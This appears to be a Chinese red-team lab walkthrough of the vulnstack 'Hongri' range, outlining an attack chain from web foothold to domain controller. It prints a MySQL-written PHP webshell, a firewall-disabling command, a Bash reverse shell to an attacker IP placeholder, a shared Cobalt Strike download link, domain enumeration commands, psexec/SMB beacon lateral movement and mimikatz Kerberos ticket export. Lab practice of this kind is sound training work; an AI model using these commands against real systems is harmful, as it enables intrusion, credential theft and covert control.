靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权五、构建通道
18.内网其它主机端口-代理转发六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用七、痕迹清理
25、日志清理
外网突破

如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径
show variables like '%datadir%';
或者
select @@basedir;

showglobal variables like'%secure_file_priv%';

通过日志文件写 shell

3.4 创建数据库和表写入webshell
前提:拥有root权限、网站绝对路径已知(并且确定有写入权限); secure_file_priv没有具体值
CREATE TABLE test( id text(200) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';
DROP TABLE IF EXISTS test;


netsh advfirewall set allprofiles state off
#把防火墙关了


- // Bash反弹Shell
- bash -i >& /dev/tcp/攻击机IP/端口 0>&1
- // 解释:
- // bash -i 创建一个交互式Bash环境。
- // /dev/tcp/攻击机IP/端口 建立到攻击机的TCP连接。
- // >& 和 0>&1 将标准输入、输出和错误重定向到攻击机。
- // 攻击者监听命令:
- nc -lvvp 端口
Windows提权
通过网盘分享的文件:cs4.9.1.7z 链接: https://pan.baidu.com/s/1yXNSbfI4XUmtjW22_jQcvw?pwd=fa8a 提取码: fa8a –来自百度网盘超级会员v7的分享

./teamserver 192.168.22.129 123456

./cobaltstrike-client.cmd+







介绍一种隐藏进程PID的方法,在靶机里面用不用无所谓,实战可以用




开始域渗透
- net view # 查看局域网内其他主机名
- net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
- net user # 查看本机用户列表
- net user /domain # 查看域用户
- net localgroup administrators # 查看本地管理员组(通常会有域用户)
- net view /domain # 查看有几个域
- net user 用户名 /domain # 获取指定域用户的信息
- net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
- net group 组名 /domain # 查看域中某工作组
- net group “domain admins” /domain # 查看域管理员的名字
- net group “domain computers” /domain # 查看域中的其他主机名
- net group “domain controllers” /domain # 查看域控制器主机名(可能有多台)

也可以使用 net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息




这个域管理员组里面有Administrator(就是这个机子)
- 主机名:OWA
- 计算机账户:OWA$
因为域主机名是owa,我们在后面加上域后缀,可以通过ping来找到他的ip

ip就是192.168.52.138也是DC的ip,接下来就是横向移动了
横向移动




(8a963371a63944419ec1adf687bb1be5)



psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信。


1. 为什么要选明文密码(和短域名 GOD)?
- 明文优先原则: 虽然哈希传递(Pass-The-Hash, PtH)在内网中很常用,但它本质上是一种利用 NTLM 认证机制的“非正规”登录。某些杀毒软件对内存中注入 Hash 的行为比较敏感。既然你已经抓到了确凿的明文密码(如 hongrisec@2019 或 Wzm@30500),直接使用明文进行标准的 Windows 账号密码网络认证,成功率最高、也最稳定。
- 短域名 (GOD) vs 完整域名 (GOD.ORG): 在较老的 Windows 环境(如红日一中的 Win2003/Win2008)中,底层的网络发现和身份验证严重依赖 NetBIOS 协议。短域名 GOD 是 NetBIOS 域名,解析起来往往比 DNS 完整域名 GOD.ORG 更直接、更不容易出错。
2. 什么是 SMB?
SMB(Server Message Block,服务器消息块)是 Windows 网络中最核心的协议之一,默认运行在 445 端口。
- 它的日常用途: 局域网内的文件共享(比如你访问 \\192.168.1.1\共享文件夹)、打印机共享。
- 在黑客眼里的用途: SMB 提供了一种叫做 IPC$(进程间通信) 的机制。只要你有对方机器的管理员账号密码,就可以通过 SMB 协议悄悄连过去,不仅能读写对方 C 盘(C$ 默认共享),还能在对方机器上远程执行命令。
3. 为什么要用 SMB 监听器(SMB Beacon)?
- 你的域控目标(192.168.52.138)深处内网,它没有外网。如果你给它发一个普通的 HTTP 反向木马,它运行后找不到你的外网 CS 服务器,自然无法上线。
- SMB Beacon 的作用是“级联代理”: 它不直接连外网,而是利用 Windows 原生的 SMB 命名管道(Named Pipes)与你的跳板机(STU1)进行通信。
- 流量走向: 域控上的木马 -> 通过 445 端口发给 STU1 -> STU1 把流量打包 -> 通过外网发给你的 CS 服务端。在 CS 拓扑图上,你会看到域控是“挂”在 STU1 下面的子节点。
4. 为什么要选 SYSTEM 会话(PID 3596)?
你使用的横向移动工具是 psexec。psexec 的底层原理非常“暴力”,它分为三步:
- 把木马文件通过网络复制到目标机器的 C:\Windows 目录下。
- 在目标机器上调用 Windows API 创建一个新的系统服务。
- 启动这个服务,从而运行木马。
在 Windows 系统中,创建系统服务和进行跨网络的高级凭据委派,需要极高的本地权限。如果你仅仅是一个普通的 Administrator 权限,可能会因为 UAC(用户账户控制)机制的拦截,导致底层 API 调用失败。而 SYSTEM(本地系统权限) 是 Windows 里的“神”,不受 UAC 限制,用它作为跳板发起攻击,没有任何权限阻碍。
拿到域控权限
shell netsh advfirewall set allprofiles state off







mimikatz kerberos::list /export

shell dir C:\*.kirbi
0-60a00000-Administrator@krbtgt~GOD.ORG-GOD.ORG.kirbi
1-40e00000-Administrator@krbtgt~GOD.ORG-GOD.ORG.kirbi





